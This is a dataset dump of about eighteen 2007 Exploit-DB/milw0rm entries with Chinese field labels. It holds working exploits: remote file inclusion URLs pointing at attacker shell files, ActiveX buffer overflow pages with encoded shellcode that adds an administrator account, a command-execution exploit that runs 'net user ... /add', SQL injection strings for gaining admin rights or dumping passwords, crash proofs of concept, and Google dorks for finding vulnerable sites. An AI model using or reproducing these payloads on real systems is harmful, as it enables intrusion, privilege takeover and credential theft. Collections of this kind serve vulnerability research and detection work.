QLWD/code_shield huggingface dataset:
标题: wanewsletter 2.1.3 - Remote File Inclusion EDB-ID: 4000 CVE: 2007-2969 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-28 漏洞利用脚本: ======================= S==A==U==D==I ========================

WAnewsletter-2.1.3 (newsletter.php) RFI Vul

==============================================================

Found By : Mogatil , jjl@hotmail.com

==============================================================

Script Site : http://script.emanual.ru/get?i=1053

==============================================================
File : /newsletter.php


require_once($waroot . 'start.php');

==============================================================

Thanx: cold zero . gawey Al Azary . crazy man . scorbion_22 .
the_muslim_sniper

==============================================================

Exploit :[Path]/newsletter/newsletter.php?waroot=shell

==============================================================

# milw0rm.com [2007-05-28] URL: https://www.exploit-db.com/exploits/4000
标题: Mazens PHP Chat V3 (basepath) - Remote File Inclusion EDB-ID: 3994 CVE: 2007-2939 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-26 漏洞利用脚本: #Mazen's PHP Chat V3.0.0 Beta1 Remote file inclusion

#Download script : http://www.scriptbrasil.com.br/script/php/bate_papo/mazen_phpopenchmt221.tar.gz

#Thanks Str0ke :D

#Exploit :

#http://victim.com/[chat_path]/include/pear/ITX.php?basepath=shell.txt?
#http://victim.com/[chat_path]/include/pear/IT_Error.php?basepath=shell.txt?
#http://victim.com/[chat_path]/include/pear/IT.php?basepath= shell.txt?

#Discovered by ThE TiGeR

#Miro_Tiger[at]Hotmail.com

# milw0rm.com [2007-05-26] URL: https://www.exploit-db.com/exploits/3994
标题: Microsoft Internet Explorer 6 / Ademco co. ltd. ATNBaseLoader100 Module - Remote Buffer Overflow EDB-ID: 3993 CVE: 2007-2938 类型: REMOTE 平台: WINDOWS 发布日期: 2007-05-26 漏洞利用脚本: <!--
IE 6 / Ademco, co., ltd. ATNBaseLoader100 Module ATNBaseLoader100.dll (5, 4, 0, 6)
remote buffer overflow exploit / XP SP2 it version
by rgod
site: retrogod.altervista.org

this activex is installed browsing some webcam pages
try this google dork:

intitle:"Browser Launch Page"
(dork credit: dragg, found in GHDB)

object safety report:

RegKey Safe for Script: True
RegkeySafe for Init: True
KillBitSet: False

here it is what happen, EIP is overwritten after 272 chars passed to
Send485CMD method:

EAX 00000001
ECX 0013EA7C ASCII "AAAA ...
EDX 7EFF00E4
EBX 10007414
ESP 0013EB98 ASCII "AAAA ...
EBP 41414141
ESI 0018022C
EDI 00000000
EIP 41414141

SetLoginID, AddSite, SetScreen, SetVideoServer methods are also vulnerable
to less convenient overflows or seh overwrite
-->
<HTML>
<OBJECT CLASSID='clsid:4C1AB3D8-8107-4BC8-AEEE-38ECF8A94A12' ID='BaseRunner' ></OBJECT>
<script language='vbscript'>

'metasploit one, 456 bytes - cmd /c net user su tzu /add & net localgroup Administrators su /add
SCODE = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49%37%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%44%58%50%30%41%30%41%6b%41%41%54%42%41%32%41%41%32%42%41%30%42%41%58%38%41%42%50%75%68%69%39%6c%38%68%31%54%43%30%47%70%57%70%4c%4b%30%45%77%4c%6e%6b%31%6c%47%75%51%68%43%31%48%6f%6c%4b%52%6f%75%48%4c%4b%63%6f%31%30%53%31%38%6b%71%59%6c%4b%36%54%6c%4b%47%71%48%6e%64%71%4f%30%4d%49%6c%6c%4e%64%4b%70%30%74%76%67%4a%61%39%5a%76%6d%55%51%6b%72%4a%4b%68%74%47%4b%70%54%35%74%55%54%61%65%6b%55%6c%4b%41%4f%77%54%34%41%48%6b%71%76%6e%6b%46%6c%62%6b%6e%6b%33%6f%77%6c%54%41%68%6b%6e%6b%57%6c%6c%4b%46%61%48%6b%4f%79%61%4c%71%34%56%64%48%43%54%71%4b%70%31%74%4c%4b%37%30%46%50%4f%75%4f%30%41%68%46%6c%6e%6b%43%70%46%6c%6c%4b%30%70%35%4c%6e%4d%4e%6b%50%68%35%58%68%6b%56%69%6c%4b%4b%30%6e%50%57%70%53%30%73%30%4e%6b%62%48%67%4c%43%6f%50%31%4a%56%51%70%36%36%6d%59%58%78%6d%53%49%50%33%4b%56%30%42%48%41%6e%58%58%6d%32%70%73%41%78%6f%68%69%6e%6f%7a%54%4e%42%77%49%6f%38%67%33%53%30%6d%75%34%41%30%66%4f%70%63%65%70%52%4e%43%55%31%64%31%30%74%35%33%43%63%55%51%62%31%30%51%63%41%65%47%50%32%54%30%7a%42%55%61%30%36%4f%30%61%43%54%71%74%35%70%57%56%65%70%70%6e%61%75%52%54%45%70%32%4c%70%6f%70%63%73%51%72%4c%32%47%54%32%32%4f%42%55%30%70%55%70%71%51%65%34%32%4d%62%49%50%6e%42%49%74%33%62%54%43%42%30%61%42%54%70%6f%50%72%41%63%67%50%51%63%34%35%77%50%66%4f%32%41%61%74%71%74%35%50%44") + NOP
NOP= String(12, unescape("%90"))
EIP= unescape("%03%78%41%7e") 'call ESP user32.dll

SunTzu=String(272, "A") + EIP + NOP + SCODE

BaseRunner.Send485CMD SunTzu

</script>
</HTML>

# milw0rm.com [2007-05-26] URL: https://www.exploit-db.com/exploits/3993
标题: Dart Communications PowerTCP - ZIP Compression Remote Buffer Overflow EDB-ID: 3984 CVE: 2007-2856 类型: REMOTE 平台: WINDOWS 发布日期: 2007-05-25 漏洞利用脚本: <!--
IE 6 / Dart Communications PowerTCP ZIP Compression Control (DartZip.dll 1.8.5.3) remote
buffer overflow exploit / xp sp2 it
by rgod
site: retrogod.altervista.org
software site: www.dart.com
-->
<html>
<object classid='clsid:42BA826E-F8D8-4D8D-8C05-14ABCE99D4DD' id='DartZip'></object>
<script language='vbscript'>

'metasploit one, add a user 'sun' with pass 'tzu'
shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54%42%30%42%30%42%30%4b%58%45%44%4e%43%4b%38%4e%57%45%50%4a%37%41%50%4f%4e%4b%48%4f%44%4a%51%4b%48%4f%45%42%42%41%50%4b%4e%49%34%4b%48%46%43%4b%38%41%30%50%4e%41%43%42%4c%49%49%4e%4a%46%58%42%4c%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e%46%4f%4b%33%46%35%46%42%46%50%45%47%45%4e%4b%58%4f%35%46%32%41%30%4b%4e%48%56%4b%48%4e%50%4b%54%4b%38%4f%35%4e%41%41%50%4b%4e%4b%38%4e%51%4b%38%41%30%4b%4e%49%38%4e%45%46%42%46%50%43%4c%41%43%42%4c%46%46%4b%58%42%44%42%33%45%48%42%4c%4a%57%4e%50%4b%38%42%54%4e%30%4b%38%42%37%4e%41%4d%4a%4b%58%4a%36%4a%30%4b%4e%49%50%4b%58%42%38%42%4b%42%50%42%50%42%30%4b%38%4a%56%4e%43%4f%55%41%53%48%4f%42%36%48%55%49%48%4a%4f%43%58%42%4c%4b%47%42%45%4a%36%42%4f%4c%58%46%30%4f%45%4a%46%4a%49%50%4f%4c%38%50%30%47%45%4f%4f%47%4e%43%36%4d%56%46%36%50%32%45%46%4a%47%45%56%42%52%4f%52%43%36%42%52%50%46%45%56%46%47%42%52%45%47%43%37%45%56%44%57%42%42%43%57%45%47%50%56%42%52%46%47%4c%37%45%47%42%52%4f%42%41%34%46%34%46%54%42%42%48%42%48%32%42%52%50%46%45%36%46%57%42%52%4e%46%4f%36%43%56%41%46%4e%36%47%56%44%47%4f%36%45%57%42%37%42%52%41%54%46%46%4d%56%49%46%50%56%49%36%43%37%46%47%44%37%41%56%46%47%4f%56%44%37%43%37%42%52%43%57%45%57%50%46%42%42%4f%32%41%34%46%54%46%54%42%50%5a")

EIP = unescape("%67%31%41%7e") 'call esp user32.dll

Source=String(1024, "A") + EIP + String(36, unescape("%90")) + shellcode  + String(24, unescape("%90"))
Destination="default"
IncludeSubs=True
PreservePath=True
Password="default"
Encryption=1

DartZip.QuickZip Source ,Destination ,IncludeSubs ,PreservePath ,Password ,Encryption

</script>
</html>

# milw0rm.com [2007-05-25] URL: https://www.exploit-db.com/exploits/3984
标题: Apple Mac OSX 10.4.8 - pppd Plugin Loading Privilege Escalation EDB-ID: 3985 CVE: 2007-0752 类型: LOCAL 平台: OSX 发布日期: 2007-05-25 漏洞利用脚本: Mac OS X <= 10.4.8 pppd Plugin Loading Privilege Escalation Exploit

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3985.tar (05252007-osxpppd.tar)

# milw0rm.com [2007-05-25] URL: https://www.exploit-db.com/exploits/3985
标题: OpenBASE 0.6a - 'root_prefix' Remote File Inclusion EDB-ID: 3991 CVE: 2007-2947 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-25 漏洞利用脚本: **********************************************************************************************************
                                              DeltaSecurityTEAM
                                              WwW.DeltaSecurity.iR
**********************************************************************************************************
* Portal Name = OpenBASE Alpha 0.6
* Class = Remote File Inclusion
* Risk = High (Remote File Execution)
* Download = Http://openbase.sourceforge.net
* Discoverd By = DeltahackingTEAM
* User In Delta Team = Dav00d_Cracker
* Conatact = Davood_cracker@Yahoo.com
--------------------------------------------------------------------------------------------
Vulnerability C0de :
Require_once($root_prefix . "nav.php");
--------------------------------------------------------------------------------------------
- Expl0it:
Http://localhost/[PATH]/index.php?root_prefix=http://Shellz?
Http://localhost/[PATH]/email_subscribe.php?root_prefix=http://Shellz?
Http://localhost/[PATH]/download.php?root_prefix=http://Shellz?
Http://localhost/[PATH]/development.php?root_prefix=http://Shellz?
--------------------------------------------------------------------------------------------
Gr33tz : Dr.Trojan , Hiv++ , D_7j , L0rd , RezaYavari , Vpc , all IRANIAN Hackers , and all Enemy
**********************************************************************************************************

# milw0rm.com [2007-05-25] URL: https://www.exploit-db.com/exploits/3991
标题: vBulletin vBGSiteMap 2.41 - 'root' Remote File Inclusion EDB-ID: 3990 CVE: 2007-2941 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-25 漏洞利用脚本: =============================================

vBulletin Google Site Map Creator (base) Remote File Include Vulnerability

=============================================
Found by : Host4vb.com & Cold z3ro
Contact : Admin@host4vb.com , Cold-z3ro@hotmail.com
Homepage : Host4vb.com , Hack-Teach.Org
=============================================
Script : http://forum.time2dine.co.nz/seo-vbulletin/vbulletin-google-site-map-3976.html
=============================================
File :
/vbgsitemap-vbseo.php  <=  Line 5
require $base."includes/functions_vbseo.php";
=============================================
File :
/vbgsitemap-config.php <= Line 139
require $base."includes/config.php";
=============================================
Exploit :
vBulletin_Forum_Bath/vbgsitemap/vbgsitemap-config.php?base=Evil-Script?
vBulletin_Forum_Bath/vbgsitemap/vbgsitemap-vbseo.php?base=Evil-Script?
==============================================
Greets To : Xp10.com , Hack-Teach Members , All Arabs Hosting , Sniper-sa.com , sm4host.com
Thanx: Mohandko , Alkomandoz Hacker , Mogatil , The Viper , The Wolf Ksa , Dr.Exe , Pro Hackers
Thanx: Green eyas amor , Titanichacker , hacaaar , Hack Back , Mohammad Sallah , Unix Hacker
       RoMaNcYxHaCkEr , mR wEsAm X , Mr.E-vil
Thanx: Team Hell Members (ConviCt & jEdDaWi & Black Shell & Hackers Cool & Dr.killer & Red Hat)

# milw0rm.com [2007-05-25] URL: https://www.exploit-db.com/exploits/3990
标题: Webavis 0.1.1 - 'class.php?root' Remote File Inclusion EDB-ID: 3987 CVE: 2007-2943 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-25 漏洞利用脚本: #Webavis Remote file inclusion (root)

#Download script : http://webavis.myreseau.org/src/webavis-0.1.1.tar.gz

#Thanks Str0ke :D

#Exploit :

#http://victim.com/webavis/class/class.php?root=shell.txt ?

#Discovered by ThE TiGeR

#Miro_Tiger[at]Hotmail.com

# milw0rm.com [2007-05-25] URL: https://www.exploit-db.com/exploits/3987
标题: FirmWorX 0.1.2 - Multiple Remote File Inclusions EDB-ID: 3983 CVE: 2007-2891 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-24 漏洞利用脚本: **********************************************************************************************************
                                              DeltaSecurityTEAM
                                              WwW.DeltaSecurity.iR
**********************************************************************************************************

* Portal Name = FirmWorX 0.1.2

* Class = Remote File Inclusion

* Risk = High (Remote File Execution)

* Download = http://firmworx.sourceforge.net

* Discoverd By = DeltahackingTEAM

* User In Delta Team = Dav00d_Cracker

* Conatact = Davood_cracker@yahoo.com

--------------------------------------------------------------------------------------------

Vulnerability C0de :


require_once($fm_data['root']."/includes/config/db.inc.php");

--------------------------------------------------------------------------------------------

- Expl0it:

http://localhost/[PATH]/includes/config/master.inc.php?fm_data[root]=Shellz?
http://localhost/[PATH]/includes/functions/master.inc.php?fm_data[root]=Shellz?
http://localhost/[PATH]/modules/bank/includes/design/main.inc.php?bank_data[root]=Shellz?

--------------------------------------------------------------------------------------------

Gr33tz : Dr.Trojan , Hiv++ , D_7j , L0rd , RezaYavari , Vpc , And all I

**********************************************************************************************************

# milw0rm.com [2007-05-24] URL: https://www.exploit-db.com/exploits/3983
标题: Dart Communications PowerTCP - Service Control Remote Buffer Overflow EDB-ID: 3982 CVE: 2007-2856 类型: REMOTE 平台: WINDOWS 发布日期: 2007-05-24 漏洞利用脚本: <!--
IE 6 / Dart Communications PowerTCP Service Control (DartService.dll 3.1.3.3)
remote buffer overflow exploit / xp sp2 ita ver
by rgod
site: retrogod.altervista.org

software site: www.dart.com

Install, Uninstall methods are vulnerable
shellcode is executed after the browser window is closed, no crash
more chars cause an heap overflow
Sometimes you will see an about box popping, code is executed aswell
Adjusting to another windows language version is very tricky,
use the same logic
-->
<html>
<object classid='clsid:13F4DEDE-D19F-11D2-BA94-0040053687FE' id='Service' ></object>
<script language='vbscript'>

'metasploit one, 456 bytes - cmd /c net user su tzu /add & net localgroup Administrators su /add

shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49%37%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%44%58%50%30%41%30%41%6b%41%41%54%42%41%32%41%41%32%42%41%30%42%41%58%38%41%42%50%75%68%69%39%6c%38%68%31%54%43%30%47%70%57%70%4c%4b%30%45%77%4c%6e%6b%31%6c%47%75%51%68%43%31%48%6f%6c%4b%52%6f%75%48%4c%4b%63%6f%31%30%53%31%38%6b%71%59%6c%4b%36%54%6c%4b%47%71%48%6e%64%71%4f%30%4d%49%6c%6c%4e%64%4b%70%30%74%76%67%4a%61%39%5a%76%6d%55%51%6b%72%4a%4b%68%74%47%4b%70%54%35%74%55%54%61%65%6b%55%6c%4b%41%4f%77%54%34%41%48%6b%71%76%6e%6b%46%6c%62%6b%6e%6b%33%6f%77%6c%54%41%68%6b%6e%6b%57%6c%6c%4b%46%61%48%6b%4f%79%61%4c%71%34%56%64%48%43%54%71%4b%70%31%74%4c%4b%37%30%46%50%4f%75%4f%30%41%68%46%6c%6e%6b%43%70%46%6c%6c%4b%30%70%35%4c%6e%4d%4e%6b%50%68%35%58%68%6b%56%69%6c%4b%4b%30%6e%50%57%70%53%30%73%30%4e%6b%62%48%67%4c%43%6f%50%31%4a%56%51%70%36%36%6d%59%58%78%6d%53%49%50%33%4b%56%30%42%48%41%6e%58%58%6d%32%70%73%41%78%6f%68%69%6e%6f%7a%54%4e%42%77%49%6f%38%67%33%53%30%6d%75%34%41%30%66%4f%70%63%65%70%52%4e%43%55%31%64%31%30%74%35%33%43%63%55%51%62%31%30%51%63%41%65%47%50%32%54%30%7a%42%55%61%30%36%4f%30%61%43%54%71%74%35%70%57%56%65%70%70%6e%61%75%52%54%45%70%32%4c%70%6f%70%63%73%51%72%4c%32%47%54%32%32%4f%42%55%30%70%55%70%71%51%65%34%32%4d%62%49%50%6e%42%49%74%33%62%54%43%42%30%61%42%54%70%6f%50%72%41%63%67%50%51%63%34%35%77%50%66%4f%32%41%61%74%71%74%35%50%44")

nop   = unescape("%90%90%90%90")
eip   = unescape("%1e%a6%3e%7e") 'call edi user32.dll
patch = unescape("%01%04%04%90")
jmp   = unescape("%e9%27%fe%ff%ff") 'jmp near shellcode

argh = "aaaa" + nop + shellcode + eip + patch + jmp

Service.Uninstall argh

</script>
</html>

# milw0rm.com [2007-05-24] URL: https://www.exploit-db.com/exploits/3982
标题: LeadTools Raster - Dialog File_D Object Remote Buffer Overflow (PoC) EDB-ID: 3986 CVE: 2007-2946 类型: DOS 平台: WINDOWS 发布日期: 2007-05-25 漏洞利用脚本: <pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/25</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">---------------------------------------------------------------------------------------------------
 <b>LeadTools Raster Dialog File_D Object (LTRDFD14e.DLL v. 14.5.0.44) Remote Buffer Overflow Exploit</b>
 url: http://www.leadtools.com/
 price: eheheh, take a look at thier site :)

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.
---------------------------------------------------------------------------------------------------

<object classid='clsid:00140BB5-B1BA-11CE-ABC6-F5B2E79D9E3F' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  buff = String(4408, "A")

  get_EDX = "aaaa"

  buff1 = String(8992, "B")

  test.DestinationPath = buff + get_EDX + buff1
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-25] URL: https://www.exploit-db.com/exploits/3986
标题: LeadTools Raster Dialog File Object - ActiveX Remote Buffer Overflow (PoC) EDB-ID: 3979 CVE: 2007-2895 类型: DOS 平台: WINDOWS 发布日期: 2007-05-24 漏洞利用脚本: <pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/24</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">------------------------------------------------------------------------------------------------
 <b>LeadTools Raster Dialog File Object (LTRDF14e.DLL v. 14.5.0.44) Remote Buffer Overflow Exploit</b>
 url: http://www.leadtools.com/
 price: eheheh, take a look at thier site :)

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.
------------------------------------------------------------------------------------------------

<object classid='clsid:00140B79-B1BA-11CE-ABC6-F5B2E79D9E3F' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  buff = String(4528, "A")

  get_EDX = "aaaa"

  buff1 = String(4528, "B")

  egg = buff + get_EDX + buff1

  test.Directory = egg
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-24] URL: https://www.exploit-db.com/exploits/3979
标题: BtiTracker 1.4.1 - Become Admin SQL Injection EDB-ID: 3970 CVE: 2007-2854 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-22 漏洞利用脚本: #################################################################################
#          
# BtiTracker <=v1.4.1 Remote SQL Injection Exploit               
#         
# Discovered by: m@ge|ozz - babbano@gmail.com     
# Vulnerabitity: Remote Sql Injection /                                         
# Problem: Any user can be Administrator     
# Website Vendor: http://www.btiteam.org     
#           
# Vulnerable Code (account_change.php):      
#          
# if (isset($_GET["style"]))             
# @mysql_query("UPDATE users SET style=$style WHERE id=".$CURUSER["uid"]);      
#           
# if (isset($_GET["langue"]))        
# @mysql_query("UPDATE users SET language=$langue WHERE id=".$CURUSER["uid"]);  
#          
# PoC: account_change.php?style=2[SQL]&returnto=%2F    
#                
# Example to gain admin control: account_change.php?style=1,id_level=8        
#          
#           
# GoogleDork: "by Btiteam"       
#          
# Shoutz: - eVolVe or Die -        
#          
#################################################################################

# milw0rm.com [2007-05-22] URL: https://www.exploit-db.com/exploits/3970
标题: Virtual CD 9.0.0.2 - 'vc9api.DLL' Remote Shell Commands Execution EDB-ID: 3967 CVE: 2007-2853 类型: REMOTE 平台: WINDOWS 发布日期: 2007-05-21 漏洞利用脚本: <!--
IE 6 / Virtual CD 9.0.0.2 (vc9api.DLL 9.0.0.57) remote shell commands execution exploit
by rgod
site: retrogod.altervista.org

software site: http://www.virtualcd-online.com/
-->
<html>
<object classid='clsid:C75848D7-72BD-499C-80F3-FD0ED62DF58C' id='VCDAPILibApi'></object>
<script language='vbscript'>

strCmd="cmd.exe /c net user sun tzu /add | net localgroup Administrators sun /add "
strWorkDir="c:\windows\system32\"
showCmd=1
bWait=1

VCDAPILibApi.VCDLaunchAndWait strCmd ,strWorkDir ,showCmd ,bWait

</script>
</html>

# milw0rm.com [2007-05-21] URL: https://www.exploit-db.com/exploits/3967
标题: Microsoft Office 2000 (OUACTRL.OCX 1.0.1.9) - Remote Denial of Service EDB-ID: 3973 CVE: 2007-2903 类型: DOS 平台: WINDOWS 发布日期: 2007-05-23 漏洞利用脚本: <pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/23</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">---------------------------------------------------------------------------------------------------------------------------
 <b>Microsoft Office 2000 Controllo UA di Microsoft Office (OUACTRL.OCX v. 1.0.1.9) "HelpPopup" method Remote Buffer Overflow
 and winhlp32.exe Denial of Service (hey, don't you think this is a very long title :)</b>

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 control is set as:
 RegKey Safe for Script: True
 RegKey Safe for Init: True
---------------------------------------------------------------------------------------------------------------------------

<object classid='clsid:8936033C-4A50-11D1-98A4-00A0C90F27C6' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language = 'vbscript'>
 Sub tryMe()
  buff = String(1000, "a")

  test.HelpPopup buff, "default"
 End Sub
</script>

Registers content:

EAX 00000000
ECX 7E39EC0C USER32.7E39EC0C
EDX 7C91EB94 ntdll.KiFastSystemCallRet
EBX 38CFD2D0 OUACTRL.38CFD2D0
ESP 01D0F434 UNICODE "aaaa..."
EBP 00610061
ESI 02ACC86C
EDI 00000000

EIP 00610061
</span></span>

</code></pre>

# milw0rm.com [2007-05-23] URL: https://www.exploit-db.com/exploits/3973
标题: LeadTools ISIS Control - 'ltisi14E.ocx 14.5.0.44' Remote Denial of Service EDB-ID: 3969 CVE: 2007-2827 类型: DOS 平台: WINDOWS 发布日期: 2007-05-22 漏洞利用脚本: <pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/22</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------
 <b>LeadTools ISIS Control (ltisi14E.ocx v. 14.5.0.44) Remote Buffer Overflow Exploit</b>
 url: http://www.leadtools.com/
 price: eheheh, take a look at thier site :)

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.
-----------------------------------------------------------------------------------

<object classid='clsid:00140050-B1BA-11CE-ABC6-F5B2E79D9E3F' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  buff = String(752, "A")

  get_EAX = "aaaa"

  get_EDI = "bbbb"

  buff1 = String(7240, "B")

  egg = buff + get_EDI + get_EAX + buff1

  test.DriverName = egg
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-22] URL: https://www.exploit-db.com/exploits/3969
标题: Ol BookMarks Manager 0.7.4 - SQL Injection EDB-ID: 3964 CVE: 2008-6409 2007-2817 2007-2816 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-21 漏洞利用脚本: ==========================================================================

Ol Bookmarks Manager 0.7.4 (root) Remote SQL Injection Vulnerabilities

==========================================================================

Found by: Cyber-Security

==========================================================================

D0rk : allintitle:ol'bookmarks

==========================================================================

Download: http://mesh.dl.sourceforge.net/sourceforge/olbookmarks/olbookmarks-0.7.4.tar.gz

==========================================================================

/read/index.php?name=alex&id=-1/**/union/**/select/**/0,1,2,3,4,5,password,login,8,9,10,11,12/**/from/**/preferences/*

Example: http://www.blex.co.uk/bookmarks

==========================================================================
thanx: ThE TiGeR couse he found RFI to this script:)
==========================================================================

# milw0rm.com [2007-05-21] URL: https://www.exploit-db.com/exploits/3964